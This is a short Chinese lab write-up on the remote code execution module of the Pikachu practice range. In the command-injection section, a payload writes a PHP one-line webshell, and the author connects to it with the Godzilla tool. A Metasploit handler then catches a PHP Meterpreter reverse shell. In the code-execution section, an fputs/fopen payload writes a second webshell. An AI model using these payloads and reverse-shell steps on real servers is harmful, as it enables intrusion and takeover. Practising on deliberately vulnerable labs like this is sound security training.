pikachu之RCE

其实这两个都差不多

命令执行


直接写入一句话木马

1
127.0.0.1 | echo '<?php eval($_POST[1]); ?>' > 1.php

这里下面其实没有必要,可以命令执行,这个靶场就已经足够了,但是想试试哥斯拉连接
我这里用哥斯拉连接

密码是 1,记得选择 php,测试连接成功过
想试试反弹 shell

这个哥斯拉很贴心啊,还有宝宝教程

1
2
3
4
5
6
7
8
9
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.137.193
lhost => 192.168.137.193
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

注意,这里的 LHOST 是攻击机自己的 ip,localhost,然后再哥斯拉中的 host 填入攻击机的 ip,反弹成功。

然后就到此为止

代码执行


docker 查看源码,发现未经任何过滤就传入 eval 执行


输入 phpinfo(); 直接执行了

一样可以写入马试试

1
fputs(fopen('shell.php','w'),'<?php assert($_POST[1]);?>');

查看容器,这里很明显直接写入了,这里就不用 webshell 工具连了